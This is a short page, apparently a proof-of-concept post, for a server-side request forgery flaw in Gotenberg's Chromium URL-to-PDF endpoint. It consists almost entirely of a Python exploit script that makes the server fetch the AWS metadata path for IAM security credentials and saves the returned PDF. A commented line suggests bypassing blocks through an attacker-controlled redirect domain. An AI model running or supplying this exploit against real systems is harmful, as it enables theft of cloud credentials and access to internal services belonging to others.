CVE-2026-42595 Gotenberg SSRF漏洞

import requests # Target URL of the vulnerable Gotenberg instance target_url = "http://localhost:3000/forms/chromium/convert/url" # Internal URL to access (e.g., Cloud Metadata or Admin Panel) # Example: AWS Metadata service malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Alternatively, use a redirect bypass if direct access is blocked # malicious_url = "http://attacker-controlled-domain.com/redirect-to-internal" files = { 'url': (None, malicious_url) } response = requests.post(target_url, files=files) if response.status_code == 200: print("Exploit successful! SSRF response received.") # Save the PDF content containing the internal data with open("ssrf_result.pdf", "wb") as f: f.write(response.content) print("PDF saved as ssrf_result.pdf") else: print(f"Exploit failed with status code: {response.status_code}")